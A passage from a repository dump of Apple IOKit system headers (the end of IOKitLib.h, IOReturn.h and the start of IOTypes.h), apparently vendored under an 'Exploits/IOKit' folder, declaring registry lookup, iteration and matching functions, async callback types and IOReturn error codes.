Paths are further documented in IORegistryEntry.h @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @param path A C-string path. @result A handle to the IORegistryEntry witch was found with the path, to be released with IOObjectRelease by the caller, or MACH_PORT_NULL on failure. */ io_registry_entry_t IORegistryEntryFromPath( mach_port_t masterPort, const io_string_t path ); /*! @function IORegistryEntryFromPathCFString @abstract Looks up a registry entry by path. @discussion This function parses paths to lookup registry entries. The path should begin with ':' If there are characters remaining unparsed after an entry has been looked up, this is considered an invalid lookup. Paths are further documented in IORegistryEntry.h @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @param path A CFString path. @result A handle to the IORegistryEntry witch was found with the path, to be released with IOObjectRelease by the caller, or MACH_PORT_NULL on failure. */ io_registry_entry_t IORegistryEntryCopyFromPath( mach_port_t masterPort, CFStringRef path ) #if defined(__MAC_10_11) __OSX_AVAILABLE_STARTING(__MAC_10_11, __IPHONE_9_0) #endif ; // options for IORegistryCreateIterator(), IORegistryEntryCreateIterator, IORegistryEntrySearchCFProperty() enum { kIORegistryIterateRecursively = 0x00000001, kIORegistryIterateParents = 0x00000002 }; /*! @function IORegistryCreateIterator @abstract Create an iterator rooted at the registry root. @discussion This method creates an IORegistryIterator in the kernel that is set up with options to iterate children of the registry root entry, and to recurse automatically into entries as they are returned, or only when instructed with calls to IORegistryIteratorEnterEntry. The iterator object keeps track of entries that have been recursed into previously to avoid loops. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param options kIORegistryIterateRecursively may be set to recurse automatically into each entry as it is returned from IOIteratorNext calls on the registry iterator. @param iterator A created iterator handle, to be released by the caller when it has finished with it. @result A kern_return_t error code. */ kern_return_t IORegistryCreateIterator( mach_port_t masterPort, const io_name_t plane, IOOptionBits options, io_iterator_t * iterator ); /*! @function IORegistryEntryCreateIterator @abstract Create an iterator rooted at a given registry entry. @discussion This method creates an IORegistryIterator in the kernel that is set up with options to iterate children or parents of a root entry, and to recurse automatically into entries as they are returned, or only when instructed with calls to IORegistryIteratorEnterEntry. The iterator object keeps track of entries that have been recursed into previously to avoid loops. @param entry The root entry to begin the iteration at. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param options kIORegistryIterateRecursively may be set to recurse automatically into each entry as it is returned from IOIteratorNext calls on the registry iterator. kIORegistryIterateParents may be set to iterate the parents of each entry, by default the children are iterated. @param iterator A created iterator handle, to be released by the caller when it has finished with it. @result A kern_return_t error code. */ kern_return_t IORegistryEntryCreateIterator( io_registry_entry_t entry, const io_name_t plane, IOOptionBits options, io_iterator_t * iterator ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* * IORegistryIterator, subclass of IOIterator */ /*! @function IORegistryIteratorEnterEntry @abstract Recurse into the current entry in the registry iteration. @discussion This method makes the current entry, ie. the last entry returned by IOIteratorNext, the root in a new level of recursion. @result A kern_return_t error code. */ kern_return_t IORegistryIteratorEnterEntry( io_iterator_t iterator ); /*! @function IORegistryIteratorExitEntry @abstract Exits a level of recursion, restoring the current entry. @discussion This method undoes an IORegistryIteratorEnterEntry, restoring the current entry. If there are no more levels of recursion to exit false is returned, otherwise true is returned. @result kIOReturnSuccess if a level of recursion was undone, kIOReturnNoDevice if no recursive levels are left in the iteration. */ kern_return_t IORegistryIteratorExitEntry( io_iterator_t iterator ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* * IORegistryEntry, subclass of IOObject */ /*! @function IORegistryEntryGetName @abstract Returns a C-string name assigned to a registry entry. @discussion Registry entries can be named in a particular plane, or globally. This function returns the entry's global name. The global name defaults to the entry's meta class name if it has not been named. @param entry The registry entry handle whose name to look up. @param name The caller's buffer to receive the name. @result A kern_return_t error code. */ kern_return_t IORegistryEntryGetName( io_registry_entry_t entry, io_name_t name ); /*! @function IORegistryEntryGetNameInPlane @abstract Returns a C-string name assigned to a registry entry, in a specified plane. @discussion Registry entries can be named in a particular plane, or globally. This function returns the entry's name in the specified plane or global name if it has not been named in that plane. The global name defaults to the entry's meta class name if it has not been named. @param entry The registry entry handle whose name to look up. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param name The caller's buffer to receive the name. @result A kern_return_t error code. */ kern_return_t IORegistryEntryGetNameInPlane( io_registry_entry_t entry, const io_name_t plane, io_name_t name ); /*! @function IORegistryEntryGetLocationInPlane @abstract Returns a C-string location assigned to a registry entry, in a specified plane. @discussion Registry entries can given a location string in a particular plane, or globally. If the entry has had a location set in the specified plane that location string will be returned, otherwise the global location string is returned. If no global location string has been set, an error is returned. @param entry The registry entry handle whose name to look up. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param location The caller's buffer to receive the location string. @result A kern_return_t error code. */ kern_return_t IORegistryEntryGetLocationInPlane( io_registry_entry_t entry, const io_name_t plane, io_name_t location ); /*! @function IORegistryEntryGetPath @abstract Create a path for a registry entry. @discussion The path for a registry entry is copied to the caller's buffer. The path describes the entry's attachment in a particular plane, which must be specified. The path begins with the plane name followed by a colon, and then followed by '/' separated path components for each of the entries between the root and the registry entry. An alias may also exist for the entry, and will be returned if available. @param entry The registry entry handle whose path to look up. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param path A char buffer allocated by the caller. @result IORegistryEntryGetPath will fail if the entry is not attached in the plane, or if the buffer is not large enough to contain the path. */ kern_return_t IORegistryEntryGetPath( io_registry_entry_t entry, const io_name_t plane, io_string_t path ); /*! @function IORegistryEntryCopyPath @abstract Create a path for a registry entry. @discussion The path for a registry entry is returned as a CFString The path describes the entry's attachment in a particular plane, which must be specified. The path begins with the plane name followed by a colon, and then followed by '/' separated path components for each of the entries between the root and the registry entry. An alias may also exist for the entry, and will be returned if available. @param entry The registry entry handle whose path to look up. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @result An instance of CFString on success, to be released by the caller. IORegistryEntryCopyPath will fail if the entry is not attached in the plane. */ CFStringRef IORegistryEntryCopyPath( io_registry_entry_t entry, const io_name_t plane) #if defined(__MAC_10_11) __OSX_AVAILABLE_STARTING(__MAC_10_11, __IPHONE_9_0) #endif ; /*! @function IORegistryEntryGetRegistryEntryID @abstract Returns an ID for the registry entry that is global to all tasks. @discussion The entry ID returned by IORegistryEntryGetRegistryEntryID can be used to identify a registry entry across all tasks. A registry entry may be looked up by its entryID by creating a matching dictionary with IORegistryEntryIDMatching() to be used with the IOKit matching functions. The ID is valid only until the machine reboots. @param entry The registry entry handle whose ID to look up. @param entryID The resulting ID. @result A kern_return_t error code. */ kern_return_t IORegistryEntryGetRegistryEntryID( io_registry_entry_t entry, uint64_t * entryID ); /*! @function IORegistryEntryCreateCFProperties @abstract Create a CF dictionary representation of a registry entry's property table. @discussion This function creates an instantaneous snapshot of a registry entry's property table, creating a CFDictionary analogue in the caller's task. Not every object available in the kernel is represented as a CF container; currently OSDictionary, OSArray, OSSet, OSSymbol, OSString, OSData, OSNumber, OSBoolean are created as their CF counterparts. @param entry The registry entry handle whose property table to copy. @param properties A CFDictionary is created and returned the caller on success. The caller should release with CFRelease. @param allocator The CF allocator to use when creating the CF containers. @param options No options are currently defined. @result A kern_return_t error code. */ kern_return_t IORegistryEntryCreateCFProperties( io_registry_entry_t entry, CFMutableDictionaryRef * properties, CFAllocatorRef allocator, IOOptionBits options ); /*! @function IORegistryEntryCreateCFProperty @abstract Create a CF representation of a registry entry's property. @discussion This function creates an instantaneous snapshot of a registry entry property, creating a CF container analogue in the caller's task. Not every object available in the kernel is represented as a CF container; currently OSDictionary, OSArray, OSSet, OSSymbol, OSString, OSData, OSNumber, OSBoolean are created as their CF counterparts. @param entry The registry entry handle whose property to copy. @param key A CFString specifying the property name. @param allocator The CF allocator to use when creating the CF container. @param options No options are currently defined. @result A CF container is created and returned the caller on success. The caller should release with CFRelease. */ CFTypeRef IORegistryEntryCreateCFProperty( io_registry_entry_t entry, CFStringRef key, CFAllocatorRef allocator, IOOptionBits options ); /*! @function IORegistryEntrySearchCFProperty @abstract Create a CF representation of a registry entry's property. @discussion This function creates an instantaneous snapshot of a registry entry property, creating a CF container analogue in the caller's task. Not every object available in the kernel is represented as a CF container; currently OSDictionary, OSArray, OSSet, OSSymbol, OSString, OSData, OSNumber, OSBoolean are created as their CF counterparts. This function will search for a property, starting first with specified registry entry's property table, then iterating recusively through either the parent registry entries or the child registry entries of this entry. Once the first occurrence is found, it will lookup and return the value of the property, using the same semantics as IORegistryEntryCreateCFProperty. The iteration keeps track of entries that have been recursed into previously to avoid loops. @param entry The registry entry at which to start the search. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param key A CFString specifying the property name. @param allocator The CF allocator to use when creating the CF container. @param options kIORegistryIterateRecursively may be set to recurse automatically into the registry hierarchy. Without this option, this method degenerates into the standard IORegistryEntryCreateCFProperty() call. kIORegistryIterateParents may be set to iterate the parents of the entry, in place of the children. @result A CF container is created and returned the caller on success. The caller should release with CFRelease. */ CFTypeRef IORegistryEntrySearchCFProperty( io_registry_entry_t entry, const io_name_t plane, CFStringRef key, CFAllocatorRef allocator, IOOptionBits options ) CF_RETURNS_RETAINED; /* @function IORegistryEntryGetProperty - deprecated, use IORegistryEntryCreateCFProperty */ kern_return_t IORegistryEntryGetProperty( io_registry_entry_t entry, const io_name_t propertyName, io_struct_inband_t buffer, uint32_t * size ); /*! @function IORegistryEntrySetCFProperties @abstract Set CF container based properties in a registry entry. @discussion This is a generic method to pass a CF container of properties to an object in the registry. Setting properties in a registry entry is not generally supported, it is more common to support IOConnectSetCFProperties for connection based property setting. The properties are interpreted by the object. @param entry The registry entry whose properties to set. @param properties A CF container - commonly a CFDictionary but this is not enforced. The container should consist of objects which are understood by IOKit - these are currently : CFDictionary, CFArray, CFSet, CFString, CFData, CFNumber, CFBoolean, and are passed in the kernel as the corresponding OSDictionary etc. objects. @result A kern_return_t error code returned by the object. */ kern_return_t IORegistryEntrySetCFProperties( io_registry_entry_t entry, CFTypeRef properties ); /*! @function IORegistryEntrySetCFProperty @abstract Set a CF container based property in a registry entry. @discussion This is a generic method to pass a CF container as a property to an object in the registry. Setting properties in a registry entry is not generally supported, it is more common to support IOConnectSetCFProperty for connection based property setting. The property is interpreted by the object. @param entry The registry entry whose property to set. @param propertyName The name of the property as a CFString. @param property A CF container - should consist of objects which are understood by IOKit - these are currently : CFDictionary, CFArray, CFSet, CFString, CFData, CFNumber, CFBoolean, and are passed in the kernel as the corresponding OSDictionary etc. objects. @result A kern_return_t error code returned by the object. */ kern_return_t IORegistryEntrySetCFProperty( io_registry_entry_t entry, CFStringRef propertyName, CFTypeRef property ); /*! @function IORegistryEntryGetChildIterator @abstract Returns an iterator over an registry entry's child entries in a plane. @discussion This method creates an iterator which will return each of a registry entry's child entries in a specified plane. @param entry The registry entry whose children to iterate over. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param iterator The created iterator over the children of the entry, on success. The iterator must be released when the iteration is finished. @result A kern_return_t error code. */ kern_return_t IORegistryEntryGetChildIterator( io_registry_entry_t entry, const io_name_t plane, io_iterator_t * iterator ); /*! @function IORegistryEntryGetChildEntry @abstract Returns the first child of a registry entry in a plane. @discussion This function will return the child which first attached to a registry entry in a plane. @param entry The registry entry whose child to look up. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param child The first child of the registry entry, on success. The child must be released by the caller. @result A kern_return_t error code. */ kern_return_t IORegistryEntryGetChildEntry( io_registry_entry_t entry, const io_name_t plane, io_registry_entry_t * child ); /*! @function IORegistryEntryGetParentIterator @abstract Returns an iterator over an registry entry's parent entries in a plane. @discussion This method creates an iterator which will return each of a registry entry's parent entries in a specified plane. @param entry The registry entry whose parents to iterate over. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param iterator The created iterator over the parents of the entry, on success. The iterator must be released when the iteration is finished. @result A kern_return_t error. */ kern_return_t IORegistryEntryGetParentIterator( io_registry_entry_t entry, const io_name_t plane, io_iterator_t * iterator ); /*! @function IORegistryEntryGetParentEntry @abstract Returns the first parent of a registry entry in a plane. @discussion This function will return the parent to which the registry entry was first attached in a plane. @param entry The registry entry whose parent to look up. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param parent The first parent of the registry entry, on success. The parent must be released by the caller. @result A kern_return_t error code. */ kern_return_t IORegistryEntryGetParentEntry( io_registry_entry_t entry, const io_name_t plane, io_registry_entry_t * parent ); /*! @function IORegistryEntryInPlane @abstract Determines if the registry entry is attached in a plane. @discussion This method determines if the entry is attached in a plane to any other entry. @param entry The registry entry. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @result If the entry has a parent in the plane, true is returned, otherwise false is returned. */ boolean_t IORegistryEntryInPlane( io_registry_entry_t entry, const io_name_t plane ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* * Matching dictionary creation helpers */ /*! @function IOServiceMatching @abstract Create a matching dictionary that specifies an IOService class match. @discussion A very common matching criteria for IOService is based on its class. IOServiceMatching will create a matching dictionary that specifies any IOService of a class, or its subclasses. The class is specified by C-string name. @param name The class name, as a const C-string. Class matching is successful on IOService's of this class or any subclass. @result The matching dictionary created, is returned on success, or zero on failure. The dictionary is commonly passed to IOServiceGetMatchingServices or IOServiceAddNotification which will consume a reference, otherwise it should be released with CFRelease by the caller. */ CFMutableDictionaryRef IOServiceMatching( const char * name ) CF_RETURNS_RETAINED; /*! @function IOServiceNameMatching @abstract Create a matching dictionary that specifies an IOService name match. @discussion A common matching criteria for IOService is based on its name. IOServiceNameMatching will create a matching dictionary that specifies an IOService with a given name. Some IOServices created from the device tree will perform name matching on the standard compatible, name, model properties. @param name The IOService name, as a const C-string. @result The matching dictionary created, is returned on success, or zero on failure. The dictionary is commonly passed to IOServiceGetMatchingServices or IOServiceAddNotification which will consume a reference, otherwise it should be released with CFRelease by the caller. */ CFMutableDictionaryRef IOServiceNameMatching( const char * name ) CF_RETURNS_RETAINED; /*! @function IOBSDNameMatching @abstract Create a matching dictionary that specifies an IOService match based on BSD device name. @discussion IOServices that represent BSD devices have an associated BSD name. This function creates a matching dictionary that will match IOService's with a given BSD name. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @param options No options are currently defined. @param bsdName The BSD name, as a const char *. @result The matching dictionary created, is returned on success, or zero on failure. The dictionary is commonly passed to IOServiceGetMatchingServices or IOServiceAddNotification which will consume a reference, otherwise it should be released with CFRelease by the caller. */ CFMutableDictionaryRef IOBSDNameMatching( mach_port_t masterPort, uint32_t options, const char * bsdName ) CF_RETURNS_RETAINED; CFMutableDictionaryRef IOOpenFirmwarePathMatching( mach_port_t masterPort, uint32_t options, const char * path ) DEPRECATED_ATTRIBUTE; /*! @function IORegistryEntryIDMatching @abstract Create a matching dictionary that specifies an IOService match based on a registry entry ID. @discussion This function creates a matching dictionary that will match a registered, active IOService found with the given registry entry ID. The entry ID for a registry entry is returned by IORegistryEntryGetRegistryEntryID(). @param entryID The registry entry ID to be found. @result The matching dictionary created, is returned on success, or zero on failure. The dictionary is commonly passed to IOServiceGetMatchingServices or IOServiceAddNotification which will consume a reference, otherwise it should be released with CFRelease by the caller. */ CFMutableDictionaryRef IORegistryEntryIDMatching( uint64_t entryID ) CF_RETURNS_RETAINED; /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ kern_return_t IOServiceOFPathToBSDName(mach_port_t masterPort, const io_name_t openFirmwarePath, io_name_t bsdName) DEPRECATED_ATTRIBUTE; /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /*! @typedef IOAsyncCallback0 @abstract standard callback function for asynchronous I/O requests with no extra arguments beyond a refcon and result code. @param refcon The refcon passed into the original I/O request @param result The result of the I/O operation */ typedef void (*IOAsyncCallback0)(void *refcon, IOReturn result); /*! @typedef IOAsyncCallback1 @abstract standard callback function for asynchronous I/O requests with one extra argument beyond a refcon and result code. This is often a count of the number of bytes transferred @param refcon The refcon passed into the original I/O request @param result The result of the I/O operation @param arg0 Extra argument */ typedef void (*IOAsyncCallback1)(void *refcon, IOReturn result, void *arg0); /*! @typedef IOAsyncCallback2 @abstract standard callback function for asynchronous I/O requests with two extra arguments beyond a refcon and result code. @param refcon The refcon passed into the original I/O request @param result The result of the I/O operation @param arg0 Extra argument @param arg1 Extra argument */ typedef void (*IOAsyncCallback2)(void *refcon, IOReturn result, void *arg0, void *arg1); /*! @typedef IOAsyncCallback @abstract standard callback function for asynchronous I/O requests with lots of extra arguments beyond a refcon and result code. @param refcon The refcon passed into the original I/O request @param result The result of the I/O operation @param args Array of extra arguments @param numArgs Number of extra arguments */ typedef void (*IOAsyncCallback)(void *refcon, IOReturn result, void **args, uint32_t numArgs); /* Internal use */ kern_return_t OSGetNotificationFromMessage( mach_msg_header_t * msg, uint32_t index, uint32_t * type, uintptr_t * reference, void ** content, vm_size_t * size ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* Internal use */ kern_return_t IOCatalogueSendData( mach_port_t masterPort, uint32_t flag, const char *buffer, uint32_t size ); kern_return_t IOCatalogueTerminate( mach_port_t masterPort, uint32_t flag, io_name_t description ); kern_return_t IOCatalogueGetData( mach_port_t masterPort, uint32_t flag, char **buffer, uint32_t *size ); kern_return_t IOCatalogueModuleLoaded( mach_port_t masterPort, io_name_t name ); /* Use IOCatalogueSendData(), with kIOCatalogResetDrivers, to replace catalogue * rather than emptying it. Doing so keeps instance counts down by uniquing * existing personalities. */ kern_return_t IOCatalogueReset( mach_port_t masterPort, uint32_t flag ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ // obsolete API #if !defined(__LP64__) // for Power Mgt typedef struct IOObject IOObject; // for MacOS.app kern_return_t IORegistryDisposeEnumerator( io_enumerator_t enumerator ) DEPRECATED_ATTRIBUTE; kern_return_t IOMapMemory( io_connect_t connect, uint32_t memoryType, task_port_t intoTask, vm_address_t * atAddress, vm_size_t * ofSize, uint32_t flags ) DEPRECATED_ATTRIBUTE; // for CGS kern_return_t IOCompatibiltyNumber( mach_port_t connect, uint32_t * objectNumber ) DEPRECATED_ATTRIBUTE; // Traditional IOUserClient transport routines kern_return_t IOConnectMethodScalarIScalarO( io_connect_t connect, uint32_t index, IOItemCount scalarInputCount, IOItemCount scalarOutputCount, ... ) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5; kern_return_t IOConnectMethodScalarIStructureO( io_connect_t connect, uint32_t index, IOItemCount scalarInputCount, IOByteCount * structureSize, ... ) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5; kern_return_t IOConnectMethodScalarIStructureI( io_connect_t connect, uint32_t index, IOItemCount scalarInputCount, IOByteCount structureSize, ... ) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5; kern_return_t IOConnectMethodStructureIStructureO( io_connect_t connect, uint32_t index, IOItemCount structureInputSize, IOByteCount * structureOutputSize, void * inputStructure, void * ouputStructure ) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5; // Compatability with earlier Mig interface routines #if IOCONNECT_NO_32B_METHODS kern_return_t io_connect_map_memory( io_connect_t connect, uint32_t memoryType, task_port_t intoTask, vm_address_t *atAddress, vm_size_t *ofSize, IOOptionBits options) DEPRECATED_ATTRIBUTE; kern_return_t io_connect_unmap_memory( io_connect_t connect, uint32_t memoryType, task_port_t fromTask, vm_address_t atAddress) DEPRECATED_ATTRIBUTE; kern_return_t io_connect_method_scalarI_scalarO( mach_port_t connection, int selector, io_scalar_inband_t input, mach_msg_type_number_t inputCnt, io_scalar_inband_t output, mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE; kern_return_t io_connect_method_scalarI_structureO( mach_port_t connection, int selector, io_scalar_inband_t input, mach_msg_type_number_t inputCnt, io_struct_inband_t output, mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE; kern_return_t io_connect_method_scalarI_structureI( mach_port_t connection, int selector, io_scalar_inband_t input, mach_msg_type_number_t inputCnt, io_struct_inband_t inputStruct, mach_msg_type_number_t inputStructCnt) DEPRECATED_ATTRIBUTE; kern_return_t io_connect_method_structureI_structureO( mach_port_t connection, int selector, io_struct_inband_t input, mach_msg_type_number_t inputCnt, io_struct_inband_t output, mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE; kern_return_t io_async_method_scalarI_scalarO( mach_port_t connection, mach_port_t wake_port, io_async_ref_t reference, mach_msg_type_number_t referenceCnt, int selector, io_scalar_inband_t input, mach_msg_type_number_t inputCnt, io_scalar_inband_t output, mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE; kern_return_t io_async_method_scalarI_structureO( mach_port_t connection, mach_port_t wake_port, io_async_ref_t reference, mach_msg_type_number_t referenceCnt, int selector, io_scalar_inband_t input, mach_msg_type_number_t inputCnt, io_struct_inband_t output, mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE; kern_return_t io_async_method_scalarI_structureI( mach_port_t connection, mach_port_t wake_port, io_async_ref_t reference, mach_msg_type_number_t referenceCnt, int selector, io_scalar_inband_t input, mach_msg_type_number_t inputCnt, io_struct_inband_t inputStruct, mach_msg_type_number_t inputStructCnt) DEPRECATED_ATTRIBUTE; kern_return_t io_async_method_structureI_structureO( mach_port_t connection, mach_port_t wake_port, io_async_ref_t reference, mach_msg_type_number_t referenceCnt, int selector, io_struct_inband_t input, mach_msg_type_number_t inputCnt, io_struct_inband_t output, mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE; #endif // IOCONNECT_NO_32B_METHODS #endif /* defined(__LP64__) */ __END_DECLS #endif /* ! _IOKIT_IOKITLIB_H */ ================================================ FILE: Exploits/IOKit/IOReturn.h ================================================ /* * Copyright (c) 1998-2002 Apple Computer, Inc. All rights reserved. * * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ * * This file contains Original Code and/or Modifications of Original Code * as defined in and that are subject to the Apple Public Source License * Version 2.0 (the 'License'). You may not use this file except in * compliance with the License. The rights granted to you under the License * may not be used to create, or enable the creation or redistribution of, * unlawful or unlicensed copies of an Apple operating system, or to * circumvent, violate, or enable the circumvention or violation of, any * terms of an Apple operating system software license agreement. * * Please obtain a copy of the License at * http://www.opensource.apple.com/apsl/ and read it before using this file. * * The Original Code and all software distributed under the License are * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. * Please see the License for the specific language governing rights and * limitations under the License. * * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ */ /* * HISTORY */ /* * Core IOReturn values. Others may be family defined. */ #ifndef __IOKIT_IORETURN_H #define __IOKIT_IORETURN_H #ifdef __cplusplus extern "C" { #endif #include typedef kern_return_t IOReturn; #ifndef sys_iokit #define sys_iokit err_system(0x38) #endif /* sys_iokit */ #define sub_iokit_common err_sub(0) #define sub_iokit_usb err_sub(1) #define sub_iokit_firewire err_sub(2) #define sub_iokit_block_storage err_sub(4) #define sub_iokit_graphics err_sub(5) #define sub_iokit_networking err_sub(6) #define sub_iokit_bluetooth err_sub(8) #define sub_iokit_pmu err_sub(9) #define sub_iokit_acpi err_sub(10) #define sub_iokit_smbus err_sub(11) #define sub_iokit_ahci err_sub(12) #define sub_iokit_powermanagement err_sub(13) #define sub_iokit_hidsystem err_sub(14) #define sub_iokit_scsi err_sub(16) #define sub_iokit_usbaudio err_sub(17) //#define sub_iokit_pccard err_sub(21) #define sub_iokit_thunderbolt err_sub(29) #define sub_iokit_graphics_acceleration err_sub(30) #define sub_iokit_keystore err_sub(31) #define sub_iokit_platform err_sub(0x2A) #define sub_iokit_audio_video err_sub(0x45) #define sub_iokit_cec err_sub(0x46) #define sub_iokit_baseband err_sub(0x80) #define sub_iokit_HDA err_sub(0xFE) #define sub_iokit_hsic err_sub(0x147) #define sub_iokit_sdio err_sub(0x174) #define sub_iokit_wlan err_sub(0x208) #define sub_iokit_appleembeddedsleepwakehandler err_sub(0x209) #define sub_iokit_vendor_specific err_sub(-2) #define sub_iokit_reserved err_sub(-1) #define iokit_common_err(return) (sys_iokit|sub_iokit_common|return) #define iokit_family_err(sub,return) (sys_iokit|sub|return) #define iokit_vendor_specific_err(return) (sys_iokit|sub_iokit_vendor_specific|return) #define kIOReturnSuccess KERN_SUCCESS // OK #define kIOReturnError iokit_common_err(0x2bc) // general error #define kIOReturnNoMemory iokit_common_err(0x2bd) // can't allocate memory #define kIOReturnNoResources iokit_common_err(0x2be) // resource shortage #define kIOReturnIPCError iokit_common_err(0x2bf) // error during IPC #define kIOReturnNoDevice iokit_common_err(0x2c0) // no such device #define kIOReturnNotPrivileged iokit_common_err(0x2c1) // privilege violation #define kIOReturnBadArgument iokit_common_err(0x2c2) // invalid argument #define kIOReturnLockedRead iokit_common_err(0x2c3) // device read locked #define kIOReturnLockedWrite iokit_common_err(0x2c4) // device write locked #define kIOReturnExclusiveAccess iokit_common_err(0x2c5) // exclusive access and // device already open #define kIOReturnBadMessageID iokit_common_err(0x2c6) // sent/received messages // had different msg_id #define kIOReturnUnsupported iokit_common_err(0x2c7) // unsupported function #define kIOReturnVMError iokit_common_err(0x2c8) // misc. VM failure #define kIOReturnInternalError iokit_common_err(0x2c9) // internal error #define kIOReturnIOError iokit_common_err(0x2ca) // General I/O error //#define kIOReturn???Error iokit_common_err(0x2cb) // ??? #define kIOReturnCannotLock iokit_common_err(0x2cc) // can't acquire lock #define kIOReturnNotOpen iokit_common_err(0x2cd) // device not open #define kIOReturnNotReadable iokit_common_err(0x2ce) // read not supported #define kIOReturnNotWritable iokit_common_err(0x2cf) // write not supported #define kIOReturnNotAligned iokit_common_err(0x2d0) // alignment error #define kIOReturnBadMedia iokit_common_err(0x2d1) // Media Error #define kIOReturnStillOpen iokit_common_err(0x2d2) // device(s) still open #define kIOReturnRLDError iokit_common_err(0x2d3) // rld failure #define kIOReturnDMAError iokit_common_err(0x2d4) // DMA failure #define kIOReturnBusy iokit_common_err(0x2d5) // Device Busy #define kIOReturnTimeout iokit_common_err(0x2d6) // I/O Timeout #define kIOReturnOffline iokit_common_err(0x2d7) // device offline #define kIOReturnNotReady iokit_common_err(0x2d8) // not ready #define kIOReturnNotAttached iokit_common_err(0x2d9) // device not attached #define kIOReturnNoChannels iokit_common_err(0x2da) // no DMA channels left #define kIOReturnNoSpace iokit_common_err(0x2db) // no space for data //#define kIOReturn???Error iokit_common_err(0x2dc) // ??? #define kIOReturnPortExists iokit_common_err(0x2dd) // port already exists #define kIOReturnCannotWire iokit_common_err(0x2de) // can't wire down // physical memory #define kIOReturnNoInterrupt iokit_common_err(0x2df) // no interrupt attached #define kIOReturnNoFrames iokit_common_err(0x2e0) // no DMA frames enqueued #define kIOReturnMessageTooLarge iokit_common_err(0x2e1) // oversized msg received // on interrupt port #define kIOReturnNotPermitted iokit_common_err(0x2e2) // not permitted #define kIOReturnNoPower iokit_common_err(0x2e3) // no power to device #define kIOReturnNoMedia iokit_common_err(0x2e4) // media not present #define kIOReturnUnformattedMedia iokit_common_err(0x2e5)// media not formatted #define kIOReturnUnsupportedMode iokit_common_err(0x2e6) // no such mode #define kIOReturnUnderrun iokit_common_err(0x2e7) // data underrun #define kIOReturnOverrun iokit_common_err(0x2e8) // data overrun #define kIOReturnDeviceError iokit_common_err(0x2e9) // the device is not working properly! #define kIOReturnNoCompletion iokit_common_err(0x2ea) // a completion routine is required #define kIOReturnAborted iokit_common_err(0x2eb) // operation aborted #define kIOReturnNoBandwidth iokit_common_err(0x2ec) // bus bandwidth would be exceeded #define kIOReturnNotResponding iokit_common_err(0x2ed) // device not responding #define kIOReturnIsoTooOld iokit_common_err(0x2ee) // isochronous I/O request for distant past! #define kIOReturnIsoTooNew iokit_common_err(0x2ef) // isochronous I/O request for distant future #define kIOReturnNotFound iokit_common_err(0x2f0) // data was not found #define kIOReturnInvalid iokit_common_err(0x1) // should never be seen #ifdef __cplusplus } #endif #endif /* ! __IOKIT_IORETURN_H */ ================================================ FILE: Exploits/IOKit/IOTypes.h ================================================ /* * Copyright (c) 1998-2012 Apple Computer, Inc. All rights reserved. * * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ * * This file contains Original Code and/or Modifications of Original Code * as defined in and that are subject to the Apple Public Source License * Version 2.0 (the 'License'). You may not use this file except in * compliance with the License. The rights granted to you under the License * may not be used to create, or enable the creation or redistribution of, * unlawful or unlicensed copies of an Apple operating system, or to * circumvent, violate, or enable the circumvention or violation of, any * terms of an Apple operating system software license agreement. * * Please obtain a copy of the License at * http://www.opensource.apple.com/apsl/ and read it before using this file. * * The Original Code and all software distributed under the License are * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH 